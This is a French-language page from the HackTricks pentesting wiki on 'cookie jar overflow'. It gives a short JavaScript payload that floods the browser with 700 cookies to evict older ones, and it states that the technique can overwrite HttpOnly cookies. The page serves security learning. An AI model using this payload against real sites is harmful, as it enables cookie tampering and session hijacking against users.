hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md

3.2 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Les navigateurs ont une limite sur le nombre de cookies qu'ils peuvent stocker pour une page. Ensuite, si pour une raison quelconque vous devez faire disparaître un cookie, vous pouvez déborder le pot à cookies car les plus anciens seront supprimés en premier :

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Remarque, que les cookies tiers pointant vers un domaine différent ne seront pas écrasés.

{% hint style="danger" %} Cette attaque peut également être utilisée pour écraser les cookies HttpOnly car vous pouvez les supprimer puis les réinitialiser avec la valeur que vous souhaitez.

Vérifiez cela dans ce post avec un laboratoire. {% endhint %}

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Supportez HackTricks
{% endhint %}